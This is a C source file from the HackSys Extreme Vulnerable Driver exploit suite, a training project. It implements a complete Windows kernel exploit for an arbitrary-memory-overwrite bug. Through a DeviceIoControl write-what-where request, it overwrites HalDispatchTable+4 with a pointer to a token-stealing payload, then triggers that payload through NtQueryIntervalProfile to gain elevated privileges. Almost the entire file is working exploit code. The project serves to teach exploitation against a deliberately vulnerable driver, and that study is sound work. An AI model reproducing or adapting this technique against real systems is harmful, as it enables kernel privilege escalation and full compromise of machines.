/*++

          ##     ## ######## ##     ## ########  
          ##     ## ##       ##     ## ##     ## 
          ##     ## ##       ##     ## ##     ## 
          ######### ######   ##     ## ##     ## 
          ##     ## ##        ##   ##  ##     ## 
          ##     ## ##         ## ##   ##     ## 
          ##     ## ########    ###    ########  

        HackSys Extreme Vulnerable Driver Exploit

Author : Ashfaq Ansari
Contact: ashfaq[at]hacksys[dot]io
Website: https://hacksys.io/

Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.

This program is free software: you can redistribute it and/or modify it under the terms of
the GNU General Public License as published by the Free Software Foundation, either version
3 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program.
If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

See the file 'LICENSE' for complete copying permission.

Module Name:
    ArbitraryOverwrite.c

Abstract:
    This module implements the exploit for Arbitrary Memory
    Overwrite Vulnerability implemented in HackSys Extreme
    Vulnerable Driver.

--*/

#include "ArbitraryOverwrite.h"

DWORD WINAPI ArbitraryOverwriteThread(LPVOID Parameter) {
    ULONG Interval = 0;
    ULONG BytesReturned;
    HANDLE hFile = NULL;
    HMODULE hNtDll = NULL;
    PVOID HalDispatchTable = NULL;
    PVOID HalDispatchTablePlus4 = NULL;
    LPCSTR FileName = (LPCSTR)DEVICE_NAME;
    PWRITE_WHAT_WHERE WriteWhatWhere = NULL;
    PVOID EopPayload = &TokenStealingPayloadWin7Generic;

    __try {
        // Get the device handle
        DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
        DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

        hFile = GetDeviceHandle(FileName);

        if (hFile == INVALID_HANDLE_VALUE) {
            DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
        }

        DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

        DEBUG_INFO("\t\t[+] Allocating Memory For WRITE_WHAT_WHERE Structure\n");

        // Allocate the Heap chunk
        WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
                                                      HEAP_ZERO_MEMORY,
                                                      sizeof(WRITE_WHAT_WHERE));

        if (!WriteWhatWhere) {
            DEBUG_ERROR("\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", WriteWhatWhere);
            DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        }

        DEBUG_INFO("\t\t[+] Gathering Information About Kernel\n");

        HalDispatchTable = GetHalDispatchTable();

        if (!HalDispatchTable) {
            DEBUG_ERROR("\t\t[-] Failed Gathering Information: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }
        else {
            HalDispatchTablePlus4 = (PVOID)((ULONG_PTR)HalDispatchTable + sizeof(PVOID));

            DEBUG_INFO("\t\t\t[+] HalDispatchTable+0x4: 0x%p\n", HalDispatchTablePlus4);
        }

        DEBUG_INFO("\t\t[+] Preparing WRITE_WHAT_WHERE structure\n");

        WriteWhatWhere->What = (PULONG_PTR)&EopPayload;
        WriteWhatWhere->Where = (PULONG_PTR)HalDispatchTablePlus4;

        DEBUG_INFO("\t\t\t[+] WriteWhatWhere: 0x%p\n", WriteWhatWhere);
        DEBUG_INFO("\t\t\t[+] WriteWhatWhere->What: 0x%p\n", WriteWhatWhere->What);
        DEBUG_INFO("\t\t\t[+] WriteWhatWhere->Where: 0x%p\n", WriteWhatWhere->Where);

        DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);

        DEBUG_MESSAGE("\t[+] Triggering Arbitrary Memory Overwrite\n");

        OutputDebugString("****************Kernel Mode****************\n");

        DeviceIoControl(hFile,
                        HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
                        (LPVOID)WriteWhatWhere,
                        sizeof(WRITE_WHAT_WHERE),
                        NULL,
                        0,
                        &BytesReturned,
                        NULL);

        OutputDebugString("****************Kernel Mode****************\n");

        DEBUG_INFO("\t\t[+] Triggering Payload\n");

        hNtDll = LoadLibrary("ntdll.dll");

        if (!hNtDll) {
            DEBUG_ERROR("\t\t[-] Failed loading NtDll: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");

        if (!NtQueryIntervalProfile) {
            DEBUG_ERROR("\t\t[-] Failed Resolving NtQueryIntervalProfile: 0x%X\n", GetLastError());
            exit(EXIT_FAILURE);
        }

        NtQueryIntervalProfile(0x1337, &Interval);

        HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);

        WriteWhatWhere = NULL;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
